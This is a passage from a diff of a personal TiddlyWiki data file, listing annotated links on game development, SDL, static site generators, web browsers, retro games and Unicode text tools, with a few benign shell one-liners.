memetics, semantic web, game development)//\n** TiddlyWiki: [[Standard|https://onetwo.ren/wiki/]], [[Prerelease|https://wiki.onetwo.ren/]] --- //knowledge base mainly used to store text memes that Lin Yier encounters by chance, as well as to replace his various thoughts posted in Weibo Moments, and as a directory to pile up online content to be sorted out during the exploration process//\n* \u003C\u003ChttpsL kura.gg>>\n* [[Lessons from a... Creative Developer (iwearshorts.com)|https://iwearshorts.com/]] --- //Things I learn along the way, I keep here. Life, lessons and betterment through code.//\n* [[Krzysztof Kowalczyk|https://blog.kowalczyk.info/]] --- design and implementation of software\n* [[Lameguy64|http://lameguy64.net/]] --- mainly PS1 development projects\n* [[loadzero|https://blog.loadzero.com/]] --- //Jason McSweeney, unix hacker and recovering video game programmer//\n* [[Meefik's Blog|https://meefik.github.io/]] --- //Freedom and Open Source// --- \u003C\u003C[# Git\"https://github.com/meefik/meefik.github.io\">>\n* [[Mike MGarcia's Games Development Blog|http://mgarcia.org/]] --- //Hobby GameDev like its 1999//\n* [[Muffin Man|https://muffinman.io/]] --- //Frontend & creative coding, I'm Stanko, a software engineer in Amsterdam, making digital products and generative art.//\n* [[notin.tokyo (不在東京)|https://notin.tokyo]]\n* [[null program (Chris Wellons)|https://nullprogram.com/]]\n* [[Patater|https://www.patater.com/]] --- has a lot of retrodevelopment projects and resources, especially NDS\n** [[GBAGuy's Lair Patater Mirror|https://www.patater.com/gbaguy/]] --- notes on some retrodevelopment\n* [[Photon Storm|https://photonstorm.com/]] --- //HTML5 Game Development Services//\n* [[Shiru's Stuff|https://shiru.untergrund.net/index.shtml]]\n* \u003C\u003Clinkdescgit SkyLyrac\"https://www.skylyrac.net\" \"Hacking, software projects and my thoughts\" \"https://github.com/AntonioND/antoniond.github.io\">>\n* [[Tan Li Hau 陈立豪|https://lihautan.com/]] --- //Frontend Developer at Shopee Singapore//\n* \u003C\u003ChttpsL tonsky.me>> --- //programming and UI design//\n* [[The Ramblings Of A Coder by Omer Anson|https://omeranson.github.io/]] --- \u003C\u003C[# Git\"https://github.com/omeranson/omeranson.github.io\">>\n* [[Tom McFarlin|https://tommcfarlin.com/]] --- //Software Engineering in WordPress, PHP, and Backend Development//\n* [[UTF-8.jp|https://utf-8.jp/]]\n* [[Will Usher|https://www.willusher.io/]] --- //Scientific Visualization Engineer//\n* [[Yomotsu net|https://yomotsu.net/]] --- //Akihiro Oyamada I'm a Web-Front-End-Engineer, as well as a Microsoft MVP for Internet Explorer since 2011 to 2017. Playing with CSS3, SVG, WebGL and others.//\n* [[Zenithia|https://zenithsal.com/]] --- //Indie Game developer. Loves retro tech, making 8-bit music, motorcycles.//\n* [[ZetCode|https://zetcode.com/]] - //accessible tutorials for various languages//\n\nMainly game development:\n\n* [[Gaffer On Games|https://gafferongames.com/]]\n* [[Mason Barry Games|https://masonbarrygames.com/]] --- //3D Artist/Graphic Designer, inspiration comes from retro games from PlayStation 1 and Nintendo 64//\n* [[Retro-Programming|https://retro-programming.com/]] --- //Welcome to Old School Game Programming//\n"}, {"title":"Saved/Sites/Uncategorized","created":"20231221002424468","creator":"Octt","modified":"20231221002440639","modifier":"Octt","tags":"","text":"* [[AMStereo.org|http://www.amstereo.org/]]\n* [[Astral Dice|https://trpgbot.com/]]\n* [[bigclive.com|https://www.bigclive.com/]]\n* [[Starjunk 95|https://www.starjunk95.com]]\n* [[iD0t|http://id0t.x10.mx]]\n"}, {"title":"Saved/Social","created":"20230513213607067","creator":"Octt","modified":"20230608135658847","modifier":"Octt","text":"* [[🦜 OctoVoLTE|https://t.me/ioctt]]\n* [[Gattoposting|https://t.me/gattinibellicoccolosiuwu]]\n* \u003C\u003CRedditL r/LinuxCrackSupport r/LinuxCrackSupport>>\n"}, @@ -1401,7 +1402,7 @@ {"title":"Shared hosting","created":"20231218233911697","creator":"Octt","modified":"20231218234200424","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Shared hosting\">>\n\n* [[Altervista|https://it.altervista.org/]] \u003C\u003C[# en \"https://en.altervista.org/\">>\n** [[Blog di Altervista|https://blog.altervista.org/]] --- //la palestra del web italiano//\n** [[Tutorial Altervista|https://tutorial.altervista.org/]] --- //Come creare un sito web//\n"}, {"title":"Shell scripting","created":"20230725113714725","creator":"Octt","modified":"20231221194135897","modifier":"Octt","tags":"Scripting","text":"\u003C\u003C^wikipediaframe \"Shell scripting\">>\n\n* Open URL from shell:\n** Windows: `start \u003CURL>`\n** Linux desktop: `xdg-open \u003CURL>`\n** More: https://stackoverflow.com/questions/38147620/shell-script-to-open-a-url, https://askubuntu.com/questions/515947/how-do-i-open-an-url-from-a-bash-script\n\n* [[bash/fish command to print absolute path to a file|https://stackoverflow.com/questions/3915040/how-to-obtain-the-absolute-path-of-a-file-via-shell-bash-zsh-sh#3915075]]\n** `realpath example.txt # => /home/me/example.txt`\n\n* [[How do I trim leading and trailing whitespace from each line of some output?|https://unix.stackexchange.com/questions/102008/how-do-i-trim-leading-and-trailing-whitespace-from-each-line-of-some-output]] --- `awk '{$1=$1};1'`\n"}, {"title":"Shiori","created":"20230213164426117","creator":"Octt","icon":"🔖","modified":"20230221205528044","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?bookmark,bookmarks","tags":"Libre","text":"//Simple bookmark manager built with Go// - [[[Git|https://github.com/go-shiori]]]\n\n\u003C!--\n\u003C\u003CiFrameBypass \"https://github.com/go-shiori/shiori/blob/master/README.md\">>\n-->\n\n!!! ''Features''\n* Automatic generation of \"simplified view\" pages\n* Optional archiving of original pages\n* Has an [[official browser extension|https://github.com/go-shiori/shiori-web-ext]]\n\n!!!! ''Lack thereof''\n* Lacks Atom/RSS feed support, so I made [[ShioriFeed|https://shiorifeed.octt.eu.org/]], a simple service for getting a feed from your Shiori profile - [[[Code|https://gitlab.com/octospacc/Snippets/-/blob/main/ShioriFeed.py]]]\n* Doesn't have explicit read/unread categorization, tags should instead be used for that\n"}, -{"title":"Simple DirectMedia Layer","created":"20231103223458206","creator":"Octt","modified":"20231125201508469","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Simple DirectMedia Layer\">>\n\n* [[SDL_Keycode|https://wiki.libsdl.org/SDL2/SDL_Keycode]] --- list of macros representing keyboard scancodes and keycodes, for use with `SDL_GetKeyState()`(1.2)/`SDL_GetKeyboardState()`(2.0) and `SDL_PollEvent(&event)`...`event.key.keysym.sym == ...` respectively\n\n* Beginning Game Programming in C++ with Lazy Foo' Productions' tutorials for: [[v1, SDL 1.2|https://lazyfoo.net/SDL_tutorials/]] ; [[v2.0, SDL 2.0|https://lazyfoo.net/tutorials/SDL/index.php]]\n* [[Getting Started With SDL 1.2|http://gamedevgeek.com/tutorials/getting-started-with-sdl/]] ; [[Moving Sprites With SDL 1.2|http://gamedevgeek.com/tutorials/moving-sprites-with-sdl/]] ; [[Animating Sprites With SDL|http://gamedevgeek.com/tutorials/animating-sprites-with-sdl/]]\n* [[Exploring SDL (Wikibooks)|https://en.wikibooks.org/wiki/SDL_(Simple_DirectMedia_Layer)]] --- introduction to SDL with the most important basic information, + some WIP examples\n\n* Minimal examples of using the HTML5 canvas via SDL, through WebAssembly and [[C|https://github.com/shlomnissan/sdl-wasm]] or [[C++|https://github.com/timhutton/sdl-canvas-wasm]]\n* [[sdl-joystick-polling.c|https://gist.github.com/fabiocolacio/423169234b8daf876d8eb75d8a5f2e95]] --- // A demonstration of using SDL2 to poll the state of buttons and axes on a joystick//\n\n* [[LuaSDL 1.2|https://github.com/soulik/LuaSDL]] --- //Lua binding to libSDL 1.2// --- should find the time to try this properly and if it actually works on embedded Linux consoles etc.\n* [[[Release] SDL-3DS 1.2.15 - Simple DirectMedia Layer for 3DS|https://gbatemp.net/threads/release-sdl-3ds-1-2-15-simple-directmedia-layer-for-3ds.459291/]]\n\n* [[Why SDL doesn't allow `int main(void)`|https://copyrat90.github.io/2021/08/08/why-sdl-does-not-allow-int-main-void.html]]\n* [[What is the best way to read input from keyboard using SDL?|https://stackoverflow.com/questions/11699183/what-is-the-best-way-to-read-input-from-keyboard-using-sdl]]\n"}, +{"title":"Simple DirectMedia Layer","created":"20231103223458206","creator":"Octt","modified":"20240119003644181","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Simple DirectMedia Layer\">>\n\n* [[SDL_Keycode|https://wiki.libsdl.org/SDL2/SDL_Keycode]] --- list of macros representing keyboard scancodes and keycodes, for use with `SDL_GetKeyState()`(1.2)/`SDL_GetKeyboardState()`(2.0) and `SDL_PollEvent(&event)`...`event.key.keysym.sym == ...` respectively\n\n* Beginning Game Programming in C++ with Lazy Foo' Productions' tutorials for: [[v1, SDL 1.2|https://lazyfoo.net/SDL_tutorials/]] ; [[v2.0, SDL 2.0|https://lazyfoo.net/tutorials/SDL/index.php]]\n* [[Getting Started With SDL 1.2|http://gamedevgeek.com/tutorials/getting-started-with-sdl/]] ; [[Moving Sprites With SDL 1.2|http://gamedevgeek.com/tutorials/moving-sprites-with-sdl/]] ; [[Animating Sprites With SDL|http://gamedevgeek.com/tutorials/animating-sprites-with-sdl/]]\n* [[Exploring SDL (Wikibooks)|https://en.wikibooks.org/wiki/SDL_(Simple_DirectMedia_Layer)]] --- introduction to SDL with the most important basic information, + some WIP examples\n\n* Minimal examples of using the HTML5 canvas via SDL, through WebAssembly and [[C|https://github.com/shlomnissan/sdl-wasm]] or [[C++|https://github.com/timhutton/sdl-canvas-wasm]]\n* [[sdl-joystick-polling.c|https://gist.github.com/fabiocolacio/423169234b8daf876d8eb75d8a5f2e95]] --- // A demonstration of using SDL2 to poll the state of buttons and axes on a joystick//\n\n* [[LuaSDL 1.2|https://github.com/soulik/LuaSDL]] --- //Lua binding to libSDL 1.2// --- should find the time to try this properly and if it actually works on embedded Linux consoles etc.\n* [[[Release] SDL-3DS 1.2.15 - Simple DirectMedia Layer for 3DS|https://gbatemp.net/threads/release-sdl-3ds-1-2-15-simple-directmedia-layer-for-3ds.459291/]]\n\n* [[Why SDL doesn't allow `int main(void)`|https://copyrat90.github.io/2021/08/08/why-sdl-does-not-allow-int-main-void.html]]\n* [[What is the best way to read input from keyboard using SDL?|https://stackoverflow.com/questions/11699183/what-is-the-best-way-to-read-input-from-keyboard-using-sdl]]\n\n* [[Rendering 8-bit palettized surfaces in SDL 2.0 applications|https://sandervanderburg.blogspot.com/2014/05/rendering-8-bit-palettized-surfaces-in.html]]\n"}, {"title":"Simple Mobile Tools:en","created":"20230203222012422","creator":"Octt","modified":"20230206111552367","modifier":"Octt","tags":"Android $:/i18n:en","text":"//A group of simple, open source Android apps without ads and unnecessary permissions, with customizable colors.//\n\n* https://simplemobiletools.com/"}, {"title":"sitoctt","created":"20230206204410406","creator":"Octt","icon":"✨","modified":"20230219155809638","modifier":"Octt","tags":"Octt TODO Web Site","text":"* https://sitoctt.octt.eu.org/"}, {"title":"SMIL","created":"20230823095502547","creator":"Octt","modified":"20230823095954050","modifier":"Octt","tags":"SVG","text":"Language derived from XML (and partially SVG) to create animated and interactive multimedia experiences without JavaScript, older and less clunky than using CSS3 to do the same things.\n\n\u003C\u003C^wikipediaframe \"Synchronized Multimedia Integration Language\">>\n"}, @@ -1424,8 +1425,8 @@ {"title":"Starbucks","created":"20230305195429422","creator":"Octt","modified":"20230305195825406","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Starbucks>>\n\n!!! ''News''\n\n; March 2023\n: [[Starbucks illegally fired US workers over union, judge rules|https://www.bbc.co.uk/news/business-64819774]].\n"}, {"title":"Static site generator","created":"20230905232949767","creator":"Octt","modified":"20231222001704153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Static site generator\">>\n\n* \u003C\u003Clinkdescgit Docusaurus \"https://docusaurus.io\" \"Easy to maintain open source documentation websites.\" \"https://github.com/facebook/docusaurus\">>\n* \u003C\u003Clinkdescgit Hugo \"https://gohugo.io\" \"The world’s fastest framework for building websites\" \"https://github.com/gohugoio/hugo\">>\n\n* [[Hexo|https://hexo.io/]] --- //A fast, simple & powerful blog framework//\n** //[[NexT|https://theme-next.js.org/]] is a high quality elegant theme for Hexo. It is crafted from scratch, with love.// --- \u003C\u003C[# Git \"https://github.com/next-theme\">>\n\n* [[Jekyll|https://jekyllrb.com]] (+ docs) --- //🌐 Jekyll is a blog-aware static site generator in Ruby// --- \u003C\u003C#[ Git\"https://github.com/jekyll\">>\n** [[Jekyll Themes|http://jekyllthemes.org/]] --- //A directory of the best-looking themes for Jekyll blogs// --- \u003C\u003C#[ Git\"https://github.com/mattvh/jekyllthemes\">>\n*** \u003C\u003Clinkdescgit \"So Simple [Theme]\" \"https://mmistakes.github.io/so-simple-theme\" \" A simple Jekyll theme for words and pictures.\" \"https://github.com/mmistakes/so-simple-theme\">>\n*** \u003C\u003Clinkdescgit \"Jekflix Template\" \"https://jekflix.rossener.com/\" \"A Jekyll theme inspired by Netflix. 🎬\" \"https://github.com/thiagorossener/jekflix-template\">>\n*** [[TeXt Theme|https://kitian616.github.io/jekyll-TeXt-theme/]] --- //💎 🐳 A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. // --- \u003C\u003C[# Git\"https://github.com/kitian616/jekyll-TeXt-theme\">>\n** [[Working with upcoming posts in Jekyll|https://www.fizerkhan.com/blog/posts/working-with-upcoming-posts-in-jekyll]]\n\n* [[Pelican|https://getpelican.com/]]\n** [[Eevee|https://kura.gg/eevee/]] --- //A Material Design theme for Pelican//\n\n* \u003C\u003Clinkdescgit Retype \"https://retype.com\" \"ultra-high-performance ✨ static website generator that builds a website based on simple Markdown text files\" \"https://github.com/retypeapp\">> --- seems catered towards docs/notes sites\n"}, {"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240110005819739","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ ░ ui▀┳╲ ☺ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - 煙霧動力.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"}, -{"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240107164644508","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"}, -{"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20231212222839172","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"}, +{"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240118233234375","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n* \u003C\u003CYoutubeL _5IDmXNS14I \"UNDETECTABLE Cheats Jeopardize Super Mario 64 Speedrunning!?\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"}, +{"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20240119011227992","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[SMBDIS.ASM - A Comprehensive Super Mario Bros. Disassembly|https://gist.github.com/1wErt3r/4048722]]\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"}, {"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20231212223439290","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"}, {"title":"Super Tux:en","created":"20230130161956837","creator":"Octt","modified":"20230206203924228","modifier":"Octt","tags":"$:/i18n:en Game","text":"\u003C\u003CMediaWiki SuperTux en 2>>"}, {"title":"SuperTuxKart","created":"20230130074458840","creator":"Octt","modified":"20230219142818385","modifier":"Octt","tags":"$:/i18n:en Racing 3D Libre Game","text":"\u003C\u003C^wikipediaframe SuperTuxKart en>>"}, @@ -1443,7 +1444,7 @@ {"title":"Templating language","created":"20231203235203040","creator":"Octt","modified":"20231210224130939","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Templating language\">>\n\n* [[Liquid|https://shopify.github.io/liquid/]] (docs) --- //Safe, customer-facing template language for flexible web apps.//, as well as many static site generators --- \u003C\u003C[# Git\"https://github.com/Shopify/liquid\">>\n** [[How to concatenate / append a string to another one in Jekyll / Liquid?|https://stackoverflow.com/questions/23688939/how-to-concatenate-append-a-string-to-another-one-in-jekyll-liquid]] --- best way is `{% capture varfull %}{{ var1 }} and also {{ var2 }}{% endcapture %}`\n"}, {"title":"Terminal/multiplexer","text":"\u003C\u003C^wikipediaframe \"Terminal multiplexer\">>\n\n!! ''GNU Screen''\n\n\u003C\u003C^wikipediaframe \"GNU Screen\">>\n\n* [[Setting a name for a screen session|https://unix.stackexchange.com/questions/12227/setting-a-name-for-a-screen-session]] --- spawn with `-S \u003CName>`, attach to with `-xS \u003CName>`\n"}, {"title":"Termux","created":"20230205144623259","creator":"Octt","modified":"20230905210020595","modifier":"Octt","tags":"Android App","text":"* https://termux.dev/en/\n* https://github.com/termux/\n\n\u003C\u003C^wikipediaframe Termux>>\n"}, -{"title":"Tetris","created":"20230112091241450","creator":"Octt","icon":"🧩","modified":"20231105142732129","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Tetris","tags":"TODO Puzzle $:/i18n:en Game Generic $:/Games","text":"\u003C\u003C^wikipediaframe Tetris>>\n\n* [[Tetrisconcept|https://tetrisconcept.net/]] --- technical Tetris forum\n** [[Tetrisconcept Tetris Fundamentals|https://www.tetrisconcept.com/p/start.html]] --- some fundamentals on advanced Tetris techniques\n\n* [[Josh's NES Tetris Hacks and Mods|https://tetrisconcept.net/threads/joshs-nes-tetris-hacks-and-mods.2762/]]\n\n!!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://reactgular.github.io/tetromino\">>\n"}, +{"title":"Tetris","created":"20230112091241450","creator":"Octt","icon":"🧩","modified":"20240119000406763","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Tetris","tags":"TODO Puzzle $:/i18n:en Game Generic $:/Games","text":"\u003C\u003C^wikipediaframe Tetris>>\n\n* \u003C\u003CYoutubeL GuJ5UuknsHU \"After 34 Years, Someone Finally Beat Tetris [aGameScout]\">>\n\n* [[Tetrisconcept|https://tetrisconcept.net/]] --- technical Tetris forum\n** [[Tetrisconcept Tetris Fundamentals|https://www.tetrisconcept.com/p/start.html]] --- some fundamentals on advanced Tetris techniques\n\n* [[Josh's NES Tetris Hacks and Mods|https://tetrisconcept.net/threads/joshs-nes-tetris-hacks-and-mods.2762/]]\n\n!!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://reactgular.github.io/tetromino\">>\n"}, {"title":"Tetris Effect:en","created":"20230114125105418","creator":"Octt","modified":"20230207221713804","modifier":"Octt","tags":"TODO $:/i18n:en Game Proprietary"}, {"title":"Tetris/effect","created":"20230205144742742","creator":"Octt","modified":"20230404135921397","modifier":"Octt","tags":"","text":"\u003C\u003CMediaWiki Tetris_effect en 4>>\n\n* https://practicalpie.com/the-tetris-effect/\n"}, {"title":"Text","created":"20230225150019278","creator":"Octt","modified":"20231224171649361","modifier":"Octt","tags":"WIP","text":"...\n\n* [[SymbolCopy.com ☆|https://www.symbolcopy.com/]] --- //Copy ✂️ and Paste 📋 Symbols//, without JavaScript\n* [[SYMBL — WHEN TEXT IS NOT ENOUGH|]] --- //(◕‿◕) Symbols, Emojis, Characters, Scripts, Alphabets, Hieroglyphs and the entire Unicode//\n\nText styling via particular characters:\n\n* \u003C\u003ChttpsL InstaFonts.io>> --- //Fonts & Text Symbols (♍︎□︎◻︎⍓︎ 𝒂𝒏𝒅 𝐩𝐚𝐬𝐭𝐞)//\n* [[Stylish Text Generator (𝓬𝓸𝓹𝔂 𝒶𝓃𝒹 𝓹𝓪𝓼𝓽𝓮 ♥) ― LingoJam|https://lingojam.com/StylishTextGenerator]]\n* [[unicode.style|https://github.com/ekmartin/unicode-style]] --- //Style text by substituting characters with suitable unicode replacements//\n** Similar/additional: [[YayText|https://yaytext.com/]], https://github.com/ssrathi/text_styler, https://github.com/steinerkelvin/unicode-text-style\n\n!! ''Unicode''\n\n\u003C\u003C^wikipediaframe Unicode>>\n\n* [[Unicode Search 🔎|http://xahlee.info/comp/unicode_index.html]]\n* [[BabelStone Unicode Tools|https://www.babelstone.co.uk/Unicode/]]\n\n!! ''Emoticons''\n\n\u003C\u003C^wikipediaframe Emoticon>>\n\n!!! ''Kaomojis''\n\nSome personal favourites\n\n|`(^_^)`||\n|`(T_T)`|crying, sadness|\n|`(^.^)`||\n|`(x_x)`|stressed, dead|\n|`(-_-;)`|nervousness, sweat drop|\n|`¯\\_(ツ)_/¯`|shrugging, idk|\n|`(◕‿◕✿)`||\n\nEven more Kaomojis: [[kaomoji.ru|http://kaomoji.ru/en/]]\n\n!!! ''Emoji''\n\n\u003C\u003C^wikipediaframe Emoji>>\n\n* [[Emojipedia|https://emojipedia.org/]]\n* [[Blob emojis|https://wikipedia.org/wiki/Blob_emoji]]\n"}, @@ -1492,7 +1493,7 @@ {"title":"Web Browser","created":"20230217100639349","creator":"Octt","modified":"20240107125655740","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe \"Web Browser\">>\n\n* [[Fulguris|https://slions.net/resources/fulguris.10/]] --- webview-based //Sparkling Android Web Browser// --- \u003C\u003C[# Git\"https://github.com/Slion/Fulguris\">>\n* [[Via Browser|https://viayoo.com/en/]] --- //lite browser with powerful functions. Designed on geek thinking.//\n\n!!! [[Chromium|https://chromium.org]]\n\n* [[Website by woolyss|https://chromium.woolyss.com/]] --- //created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows// ... also indexes other Chromium downloads\n\n* [[Remote debug Android devices (Chrome for Developers)|https://developer.chrome.com/docs/devtools/remote-debugging/]]\n\n; Forks\n: [[Ungoogled Chromium|https://github.com/ungoogled-software]]\n: [[Bromite|https://bromite.org]] (Android) --- \u003C\u003C[# Git\"https://github.com/bromite\">>\n\n!!! [[Firefox|https://firefox.com]]\n\n* [[How to Install Any Add-on in Firefox for Android|https://www.maketecheasier.com/install-addon-firefox-android]] (Firefox Beta is needed)\n** [[Usando Firefox Beta, è possibile aggiungere una lista custom di #addons...|https://mastodon.uno/@octo/111064836718607256]]\n* [[Why Extensions can't modify Mozilla sites (like AMO)|https://ninetailed.ninja/extensions-modify-mozilla-sites.html]]\n* [[How to increase Firefox scrollbar width?|https://unix.stackexchange.com/questions/304711/how-to-increase-firefox-scrollbar-width]] --- set `widget.non-native-theme.scrollbar.size.override` to number in `about:config`\n\n; Forks\n: [[LibreWolf|https://librewolf.net]] (Desktop)\n: \u003C\u003CFDroidLink org.mozilla.fennec_fdroid \"Fennec F-Droid\">> (Android)\n: [[CENO Browser|https://censorship.no/en/index.html]] (Android) --- //Short for censorship.no!, is the world’s first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised.// --- \u003C\u003C[ \"[[Git|https://gitlab.com/censorship-no]]\">>\n\n; Forks of the old codebase, Mozilla Suite\n: [[Mypal|https://www.mypal-browser.org/]] --- //Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful!// --- \u003C\u003C[# \"Old Sources\" \"https://github.com/Feodor2/Mypal/tags\">>\n: [[Pale Moon|https://www.palemoon.org/]]\n: //''[[SeaMonkey project|https://www.seamonkey-project.org/]]'' is a community effort to develop the SeaMonkey Internet Application Suite//\n\n!!! \u003C\u003CFlathubLink org.gnome.Epiphany \"Epiphany\">>\n\n* https://gitlab.gnome.org/GNOME/epiphany\n\n!!! Misc\n\n* //''[[Falkon|https://www.falkon.org/]]'' is a KDE web browser using QtWebEngine rendering engine// (same as Chromium, but the overall base is different)\n* //''[[K-Meleon|http://kmeleonbrowser.org/]]'' is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.//\n* [[Konqueror|https://apps.kde.org/konqueror/]] --- //Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing.// --- basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support\n\n!! Extensions / Add-ons\n\n* [[octollection|https://addons.mozilla.org/en-US/firefox/collections/18049170/octollection]] --- my add-ons collection for Firefox\n* [[Redirector|https://einaregilsson.com/redirector/]]\n"}, {"title":"Web design ideas","created":"20221103223952562","modified":"20230206111552426","modifier":"Octt","tags":"Internet $:/i18n:en","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries"}, {"title":"Web/Design","created":"20231224172607192","creator":"Octt","modified":"20231224172753668","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web design\">>\n\n* [[Codrops|https://tympanus.net/codrops/]] --- //Keeping web professionals inspired & up-to-date since 2009// --- \u003C\u003C[# Git\"https://github.com/codrops\">>\n** [[Text Input Effects|https://tympanus.net/Development/TextInputEffects/]] --- //Simple styles and effects for enhancing text input interactions.// --- \u003C\u003C[# Git\"https://github.com/codrops/TextInputEffects\">>\n\n!!! Other misc libraries and designs\n\n* [[Typo|https://neatnik.net/typo/]] --- //Typo types the way a real person types. There are subtle variations in speed, occasional errors that are corrected, and a general feeling of humanity.// --- \u003C\u003C[# Git\"https://github.com/neatnik/typo\">>\n"}, -{"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20231224152937255","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n!!! ''References''\n\n; Misc\n: [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe — other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered 